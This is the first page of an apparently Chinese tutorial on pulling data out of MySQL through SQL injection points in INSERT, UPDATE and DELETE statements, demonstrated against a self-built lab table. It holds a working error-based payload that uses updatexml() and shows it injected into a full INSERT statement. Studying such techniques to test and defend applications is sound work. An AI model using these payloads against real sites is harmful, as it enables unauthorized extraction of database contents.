利用insert,update和delete注入获取数据_MySQL
程序员文章站
2022-04-26 23:38:54
...
0x00 简介
利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。
0x01 环境搭建
为了更好的演示注射效果,我们先利用下面的语句创建原始数据:
create database newdb;use newdb; create table users(id int(3) not null auto_increment,username varchar(20) not null,password varchar(20) not null, primary key (id)); insert into users values(1,'Jane','Eyre');
看一下当前数据结构:
0x02 注入语法
因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:
insert into users (id, username, password) values (2,''inject here'','Olivia'); insert into users (id, username, password) values (2,""inject here"",'Olivia');
注意:大家看到本来是要填入username字段的地方,我们填了'inject here'和”inject here”两个字段来实现爆错,一个是单引号包含、一个是双引号包含,要根据实际的注入点灵活构造。
0x03 利用updatexml()获取数据
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
payload:
or updatexml(1,concat(0x7e,(version())),0) or
Insert:
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');
[1] [2] [3] [4] [5] [6] 下一页
推荐阅读
-
MySQL数据库INSERT、UPDATE、DELETE以及REPLACE语句的用法详解_MySQL
-
MySQL学习002:执行数据库查询命令MySQLDataReader、插入命令Insert、更新命令Update、删除命令Delete
-
详解MySQL数据库insert和update语句_MySQL
-
discuz 如何添加数据DB::insert和更新数据DB::update 查询DB::query删除DB::delete
-
MySQL数据库INSERT、UPDATE、DELETE以及REPLACE语句的用法详解
-
MySQL数据库INSERT、UPDATE、DELETE以及REPLACE语句的用法详解_MySQL
-
MySQL数据库INSERT、UPDATE、DELETE以及REPLACE语句的用法详解
-
利用insert,update和delete注入获取数据_MySQL
-
利用insert,update和delete注入获取数据_MySQL
-
详解MySQL数据库insert和update语句_MySQL